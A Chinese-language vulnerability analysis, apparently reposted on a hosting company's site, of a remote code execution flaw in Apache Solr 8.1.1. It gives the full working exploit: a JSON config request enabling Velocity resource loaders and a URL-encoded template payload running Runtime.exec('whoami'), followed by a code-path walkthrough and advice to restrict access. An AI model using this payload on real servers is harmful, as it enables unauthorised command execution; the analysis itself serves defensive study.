您好,登錄后才能下訂單哦!
這篇文章跟大家分析一下“怎樣進行Apache Solr最新RCE漏洞分析”。內容詳細易懂,對“怎樣進行Apache Solr最新RCE漏洞分析”感興趣的朋友可以跟著小編的思路慢慢深入來閱讀一下,希望閱讀后能夠對大家有所幫助。下面跟著小編一起深入學習“怎樣進行Apache Solr最新RCE漏洞分析”的知識吧。
Apache Solr爆出RCE 0day漏洞(漏洞編號未給出),這里簡單的復現(xiàn)了對象,對整個RCE的流程做了一下分析,供各位看官參考。
復現(xiàn)版本:8.1.1
實現(xiàn)RCE,需要分兩步,首先確認,應用開啟了某個core(可以在Core Admin中查看),實例中應用開啟了mycore,
然后先向其config接口發(fā)送以下json數(shù)據(jù),
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
接著訪問如下url,即可實現(xiàn)RCE,
/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
首先去分析第一個數(shù)據(jù)包,因為是對mycore的配置,所以我們先把斷點打在處理配置請求的SolrConfigHandler的handleRequestBody函數(shù)上,
因為是POST的請求,跟進handlePOST函數(shù),
在handlePOST中,先取出mycore的當前配置,再和我們發(fā)送的配置同時帶進handleCommands函數(shù),并在后續(xù)的操作中,最終進到addNamedPlugin函數(shù),創(chuàng)建了一個VelocityResponseWriter對象,該對象的 solr.resource.loader.enabled和params.resource.loader.enabled的值設置成了true,該對象的name為velocity。
然后在發(fā)送第二個數(shù)據(jù)包的時候,在HttpSolrCall.call中獲取responseWriter的時候,會根據(jù)參數(shù)wt的值去獲取reponseWriter對象,當wt為velocity時,獲取的就是我們精心配置過的VelocityResponseWriter
在后續(xù)一連串調用后最終進入我們本次漏洞中最重的的VelocityResponseWriter.write函數(shù),首先調用createEngine函數(shù),生成了包含custom.vrm->payload的惡意template的engine,
惡意的template放在engine的overridingProperties的params.resource.loader.instance和solr.resource.loader.instance中
這里有一個很重要的點,要想讓惡意template進入params.resource.loader.instance和solr.resource.loader.instance中,是需要保證paramsResourceLoaderEnabled和solrResourceLoaderEnabled為True的,這也就是我們第一個數(shù)據(jù)包做的事情,
然后再VelocityResponseWriter.getTemplate就會根據(jù)我們提交的v.template參數(shù)獲取我們構造的惡意template
最終取出了惡意的template,并調用了它的merge方法,
要了解這個template就需要了解一下Velocity Java 模板引擎(因為這個tmplate是org.apache.velocity.Template類對象),官方說法翻譯一下如下,
Velocity是一個基于Java的模板引擎。它允許任何人使用簡單但功能強大的模板語言來引用Java代碼中定義的對象
從這個說法,就能看出這個模板引擎是具有執(zhí)行java代碼的功能的,我們只需了解一下它的基本寫法,
// 變量定義 #set($name =“velocity”) // 變量賦值 #set($foo = $bar) // 函數(shù)調用 #set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) // 循環(huán)語法 #foreach($element in $list) This is $element $velocityCount #end // 執(zhí)行模板 template.merge(context, writer);
有了上面這些基本的語法介紹,我們就能理解payload的構造方法了,如果希望更深入的了解,可以自行再去查閱Velocity Java 的資料,我們這里不再深入。
于是通過最后調用的惡意template的merge方法,成功造成了RCE,最后補上關鍵的調用鏈。
目前官方還未給出補丁,建議對solr做一下訪問限制吧。
關于怎樣進行Apache Solr最新RCE漏洞分析就分享到這里啦,希望上述內容能夠讓大家有所提升。如果想要學習更多知識,請大家多多留意小編的更新。謝謝大家關注一下億速云網站!
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經查實,將立刻刪除涉嫌侵權內容。